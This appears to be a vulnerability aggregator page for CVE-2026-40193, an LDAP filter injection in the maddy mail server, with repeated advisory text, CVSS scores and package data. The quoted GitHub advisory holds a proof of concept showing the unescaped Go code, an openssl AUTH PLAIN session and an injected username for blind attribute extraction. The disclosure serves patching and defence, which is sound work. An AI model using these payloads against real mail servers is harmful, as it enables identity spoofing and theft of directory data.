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CVE-2026-40193

Maddy Mail Server: LDAP Filter Injection via Unsanitized Username

8.2 HighFix available

maddy is a composable, all-in-one mail server. Versions prior to 0.9.3 contain an LDAP injection vulnerability in the auth.ldap module where user-supplied usernames are interpolated into LDAP search filters and DN strings via strings.ReplaceAll() without any LDAP filter escaping, despite the go-ldap/ldap/v3 library's ldap.EscapeFilter() function being available in the same import. This affects three code paths: the Lookup() filter, the AuthPlain() DN template, and the AuthPlain() filter. An attacker with network access to the SMTP submission or IMAP interface can inject arbitrary LDAP filter expressions through the username field in AUTH PLAIN or LOGIN commands. This enables identity spoofing by manipulating filter results to authenticate as another user, LDAP directory enumeration via wildcard filters, and blind extraction of LDAP attribute values using authentication responses as a boolean oracle or via timing side-channels between the two distinct failure paths. This issue has been fixed in version 0.9.3.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
Low
Availability
None

Exploit likelihood

0.42%Up 0.4 points since Apr 16, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.2

Maddy Mail Server: LDAP Filter Injection via Unsanitized Username

maddy is a composable, all-in-one mail server. Versions prior to 0.9.3 contain an LDAP injection vulnerability in the auth.ldap module where user-supplied usernames are interpolated into LDAP search filters and DN strings via strings.ReplaceAll() without any LDAP filter escaping, despite the go-ldap/ldap/v3 library's ldap.EscapeFilter() function being available in the same import. This affects three code paths: the Lookup() filter, the AuthPlain() DN template, and the AuthPlain() filter. An attacker with network access to the SMTP submission or IMAP interface can inject arbitrary LDAP filter expressions through the username field in AUTH PLAIN or LOGIN commands. This enables identity spoofing by manipulating filter results to authenticate as another user, LDAP directory enumeration via wildcard filters, and blind extraction of LDAP attribute values using authentication responses as a boolean oracle or via timing side-channels between the two distinct failure paths. This issue has been fixed in version 0.9.3.

Record
CVE-2026-40193
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Weakness
CWE-90
Updated
2026-11-02
EUVDEUVD-2026-23131 8.2

maddy is a composable, all-in-one mail server. Versions prior to 0.9.3 contain an LDAP injection vulnerability in the auth.ldap module where user-supplied usernames are interpolated into LDAP search filters and DN strings via strings.ReplaceAll() without any LDAP filter escaping, despite the go-ldap/ldap/v3 library's ldap.EscapeFilter() function being available in the same import. This affects three code paths: the Lookup() filter, the AuthPlain() DN template, and the AuthPlain() filter. An attacker with network access to the SMTP submission or IMAP interface can inject arbitrary LDAP filter expressions through the username field in AUTH PLAIN or LOGIN commands. This enables identity spoofing by manipulating filter results to authenticate as another user, LDAP directory enumeration via wildcard filters, and blind extraction of LDAP attribute values using authentication responses as a boolean oracle or via timing side-channels between the two distinct failure paths. This issue has been fixed in version 0.9.3.

Record
EUVD-2026-23131
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-5835-4gvc-32pc 8.2

Maddy Mail Server has an LDAP Filter Injection via Unsanitized Username

Summary

The auth.ldap module constructs LDAP search filters and DN strings by directly interpolating user-supplied usernames via strings.ReplaceAll() without any LDAP filter escaping. An attacker who can reach the SMTP submission (AUTH PLAIN) or IMAP LOGIN interface can inject arbitrary LDAP filter expressions through the username field, enabling identity spoofing, LDAP directory enumeration, and attribute value extraction. The go-ldap/ldap/v3 library—already imported in the same file—provides ldap.EscapeFilter() specifically for this purpose, but it is never called.

Patched version

Upgrade to maddy 0.9.3.

Details

Affected file: internal/auth/ldap/ldap.go

Three locations substitute the raw, attacker-controlled username into LDAP filter or DN strings with no escaping:

1. Lookup() — line 228 (filter injection)

func (a *Auth) Lookup(_ context.Context, username string) (string, bool, error) {
    // ...
    req := ldap.NewSearchRequest(
        a.baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases,
        2, 0, false,
        strings.ReplaceAll(a.filterTemplate, "{username}", username),  // <-- NO ESCAPING
        []string{"dn"}, nil)

2. AuthPlain() — line 255 (DN template injection)

func (a *Auth) AuthPlain(username, password string) error {
    // ...
    if a.dnTemplate != "" {
        userDN = strings.ReplaceAll(a.dnTemplate, "{username}", username)  // <-- NO ESCAPING

3. AuthPlain() — line 260 (filter injection)

    } else {
        req := ldap.NewSearchRequest(
            a.baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases,
            2, 0, false,
            strings.ReplaceAll(a.filterTemplate, "{username}", username),  // <-- NO ESCAPING
            []string{"dn"}, nil)

The go-ldap/ldap/v3 library (v3.4.10, imported at line 17) provides ldap.EscapeFilter() which escapes (, ), *, \, and NUL per RFC 4515. It is never called on user input.

No input validation or filter escaping occurs at any point from the protocol handler to the LDAP query.

PoC

Prerequisites:

  • A maddy instance configured with auth.ldap using a filter directive
  • An LDAP directory (e.g., OpenLDAP) with at least one user
  • Network access to maddy's SMTP submission port (587) or IMAP port (993/143)

Step 1: Vulnerable maddy configuration

auth.ldap ldap_auth {
    urls ldap://ldapserver:389
    bind plain "cn=admin,dc=example,dc=org" "adminpassword"
    base_dn "ou=people,dc=example,dc=org"
    filter "(&(objectClass=inetOrgPerson)(uid={username}))"
}

submission tcp://0.0.0.0:587 {
    auth &ldap_auth
    # ...
}

Assume the LDAP directory contains users alice (password: alice_pass) and bob (password: bob_pass).

Step 2: Verify normal authentication works

# Encode AUTH PLAIN: \x00alice\x00alice_pass
AUTH_BLOB=$(printf '\x00alice\x00alice_pass' | base64)

# Connect via SMTP submission with STARTTLS
openssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet <<EOF
EHLO test
AUTH PLAIN $AUTH_BLOB
QUIT
EOF
# Expected: 235 Authentication succeeded

Step 3: Boolean-based blind LDAP injection (attribute extraction)

An attacker who holds valid credentials for any one account can extract that account's LDAP attributes character by character, using the authentication result (235 vs 535) as a boolean oracle.

# Scenario: attacker knows bob's password ("bob_pass").
# Goal: extract bob's "description" attribute value one character at a time.
#
# Injected username: bob)(description=S*
# Resulting filter:  (&(objectClass=inetOrgPerson)(uid=bob)(description=S*))
#
# If bob's description starts with "S" → filter matches 1 entry (bob)
#   → conn.Bind(bob_DN, "bob_pass") succeeds → 235 (SUCCESS)
# If not → filter matches 0 entries → 535 (FAILURE)
#
# By iterating characters, the attacker reconstructs the full attribute value.

# Test: does bob's description start with "S"?…
Record
GHSA-5835-4gvc-32pc
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Weakness
CWE-90
Updated
2026-11-02
NVD 8.2

maddy is a composable, all-in-one mail server. Versions prior to 0.9.3 contain an LDAP injection vulnerability in the auth.ldap module where user-supplied usernames are interpolated into LDAP search filters and DN strings via strings.ReplaceAll() without any LDAP filter escaping, despite the go-ldap/ldap/v3 library's ldap.EscapeFilter() function being available in the same import. This affects three code paths: the Lookup() filter, the AuthPlain() DN template, and the AuthPlain() filter. An attacker with network access to the SMTP submission or IMAP interface can inject arbitrary LDAP filter expressions through the username field in AUTH PLAIN or LOGIN commands. This enables identity spoofing by manipulating filter results to authenticate as another user, LDAP directory enumeration via wildcard filters, and blind extraction of LDAP attribute values using authentication responses as a boolean oracle or via timing side-channels between the two distinct failure paths. This issue has been fixed in version 0.9.3.

Record
CVE-2026-40193
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Weakness
CWE-90
Updated
2026-11-02
OSVALPINE-CVE-2026-40193 8.2

maddy is a composable, all-in-one mail server. Versions prior to 0.9.3 contain an LDAP injection vulnerability in the auth.ldap module where user-supplied usernames are interpolated into LDAP search filters and DN strings via strings.ReplaceAll() without any LDAP filter escaping, despite the go-ldap/ldap/v3 library's ldap.EscapeFilter() function being available in the same import. This affects three code paths: the Lookup() filter, the AuthPlain() DN template, and the AuthPlain() filter. An attacker with network access to the SMTP submission or IMAP interface can inject arbitrary LDAP filter expressions through the username field in AUTH PLAIN or LOGIN commands. This enables identity spoofing by manipulating filter results to authenticate as another user, LDAP directory enumeration via wildcard filters, and blind extraction of LDAP attribute values using authentication responses as a boolean oracle or via timing side-channels between the two distinct failure paths. This issue has been fixed in version 0.9.3.

Record
ALPINE-CVE-2026-40193
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Updated
2026-11-03
OSV 8.2

Maddy Mail Server: LDAP Filter Injection via Unsanitized Username

maddy is a composable, all-in-one mail server. Versions prior to 0.9.3 contain an LDAP injection vulnerability in the auth.ldap module where user-supplied usernames are interpolated into LDAP search filters and DN strings via strings.ReplaceAll() without any LDAP filter escaping, despite the go-ldap/ldap/v3 library's ldap.EscapeFilter() function being available in the same import. This affects three code paths: the Lookup() filter, the AuthPlain() DN template, and the AuthPlain() filter. An attacker with network access to the SMTP submission or IMAP interface can inject arbitrary LDAP filter expressions through the username field in AUTH PLAIN or LOGIN commands. This enables identity spoofing by manipulating filter results to authenticate as another user, LDAP directory enumeration via wildcard filters, and blind extraction of LDAP attribute values using authentication responses as a boolean oracle or via timing side-channels between the two distinct failure paths. This issue has been fixed in version 0.9.3.

Record
CVE-2026-40193
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Weakness
CWE-90
Updated
2026-11-02
OSVGHSA-5835-4gvc-32pc 8.2

Maddy Mail Server has an LDAP Filter Injection via Unsanitized Username

Summary

The auth.ldap module constructs LDAP search filters and DN strings by directly interpolating user-supplied usernames via strings.ReplaceAll() without any LDAP filter escaping. An attacker who can reach the SMTP submission (AUTH PLAIN) or IMAP LOGIN interface can inject arbitrary LDAP filter expressions through the username field, enabling identity spoofing, LDAP directory enumeration, and attribute value extraction. The go-ldap/ldap/v3 library—already imported in the same file—provides ldap.EscapeFilter() specifically for this purpose, but it is never called.

Patched version

Upgrade to maddy 0.9.3.

Details

Affected file: internal/auth/ldap/ldap.go

Three locations substitute the raw, attacker-controlled username into LDAP filter or DN strings with no escaping:

1. Lookup() — line 228 (filter injection)

func (a *Auth) Lookup(_ context.Context, username string) (string, bool, error) {
    // ...
    req := ldap.NewSearchRequest(
        a.baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases,
        2, 0, false,
        strings.ReplaceAll(a.filterTemplate, "{username}", username),  // <-- NO ESCAPING
        []string{"dn"}, nil)

2. AuthPlain() — line 255 (DN template injection)

func (a *Auth) AuthPlain(username, password string) error {
    // ...
    if a.dnTemplate != "" {
        userDN = strings.ReplaceAll(a.dnTemplate, "{username}", username)  // <-- NO ESCAPING

3. AuthPlain() — line 260 (filter injection)

    } else {
        req := ldap.NewSearchRequest(
            a.baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases,
            2, 0, false,
            strings.ReplaceAll(a.filterTemplate, "{username}", username),  // <-- NO ESCAPING
            []string{"dn"}, nil)

The go-ldap/ldap/v3 library (v3.4.10, imported at line 17) provides ldap.EscapeFilter() which escapes (, ), *, \, and NUL per RFC 4515. It is never called on user input.

No input validation or filter escaping occurs at any point from the protocol handler to the LDAP query.

PoC

Prerequisites:

  • A maddy instance configured with auth.ldap using a filter directive
  • An LDAP directory (e.g., OpenLDAP) with at least one user
  • Network access to maddy's SMTP submission port (587) or IMAP port (993/143)

Step 1: Vulnerable maddy configuration

auth.ldap ldap_auth {
    urls ldap://ldapserver:389
    bind plain "cn=admin,dc=example,dc=org" "adminpassword"
    base_dn "ou=people,dc=example,dc=org"
    filter "(&(objectClass=inetOrgPerson)(uid={username}))"
}

submission tcp://0.0.0.0:587 {
    auth &ldap_auth
    # ...
}

Assume the LDAP directory contains users alice (password: alice_pass) and bob (password: bob_pass).

Step 2: Verify normal authentication works

# Encode AUTH PLAIN: \x00alice\x00alice_pass
AUTH_BLOB=$(printf '\x00alice\x00alice_pass' | base64)

# Connect via SMTP submission with STARTTLS
openssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet <<EOF
EHLO test
AUTH PLAIN $AUTH_BLOB
QUIT
EOF
# Expected: 235 Authentication succeeded

Step 3: Boolean-based blind LDAP injection (attribute extraction)

An attacker who holds valid credentials for any one account can extract that account's LDAP attributes character by character, using the authentication result (235 vs 535) as a boolean oracle.

# Scenario: attacker knows bob's password ("bob_pass").
# Goal: extract bob's "description" attribute value one character at a time.
#
# Injected username: bob)(description=S*
# Resulting filter:  (&(objectClass=inetOrgPerson)(uid=bob)(description=S*))
#
# If bob's description starts with "S" → filter matches 1 entry (bob)
#   → conn.Bind(bob_DN, "bob_pass") succeeds → 235 (SUCCESS)
# If not → filter matches 0 entries → 535 (FAILURE)
#
# By iterating characters, the attacker reconstructs the full attribute value.

# Test: does bob's description start with "S"?…
Record
GHSA-5835-4gvc-32pc
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Weakness
CWE-90
Updated
2026-11-02
OSVGO-2026-5137 No score

Maddy Mail Server has an LDAP Filter Injection via Unsanitized Username in github.com/foxcpp/maddy

Maddy Mail Server has an LDAP Filter Injection via Unsanitized Username in github.com/foxcpp/maddy

Record
GO-2026-5137
Updated
2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

  • GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
  • GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
  • GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
  • GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
  • GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
  • GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
  • GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
  • GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
  • GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
  • GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
  • GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
  • GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
  • GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
  • GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
  • GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
  • GO-2026-5933 GHSA-3g4q-2f67-2gvh
  • GO-2026-5934 GHSA-59qp-cfj3-rp64
  • GO-2026-5935 GHSA-7856-g3gv-9wq8
  • GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
  • GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
  • GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
  • GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
  • GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
  • GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
  • GO-2026-5942 CVE-2026-46600
  • GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
  • GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
  • GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
  • GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
  • GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
  • GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
  • GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
  • GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
  • GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
  • GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
  • GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
  • GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
  • GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
  • GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
  • GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
  • GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
  • GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
  • GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
  • GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
  • GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
  • GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
  • GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
  • GO-2026-5969 GHSA-g936-7jqj-mwv8
  • GO-2026-5970 CVE-2026-56852
  • GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
  • GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
  • GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
  • GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
  • GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
  • GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
  • GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
  • GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
  • GO-2026-5981 GHSA-mqxv-9rm6-w8qc
  • GO-2026-5982 GHSA-pqg7-v6wh-3pfp
  • GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
  • GO-2026-5985 GHSA-7rx3-5wx3-5v76
  • GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
  • GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
  • GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
  • GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
  • GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
  • GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
  • GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
  • GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
  • GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
  • GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
  • GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
  • GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
  • GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
  • GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
  • GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
  • GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…
Record
openSUSE-SU-2026:21483-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/foxcpp/maddy
Go
before 0.9.3
0.9.3
maddy
Alpine:v3.23
before 0.9.3-r0
0.9.3-r0
maddy
Alpine:v3.24
before 0.9.3-r0
0.9.3-r0
govulncheck-vulndb
openSUSE:Leap 16.0
From an advisory covering 1734 CVEs
before 0.0.20260723T184607-160000.1.1
0.0.20260723T184607-160000.1.1

History

History
RecordedChangedSources
affected, facts
affected, aliases, referencesOSV
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-40193 is a high vulnerability (CVSS 8.2) in Foxcpp Maddy, published April 13, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.42%, the 36th percentile. Fixed in github.com/foxcpp/maddy 0.9.3.

References

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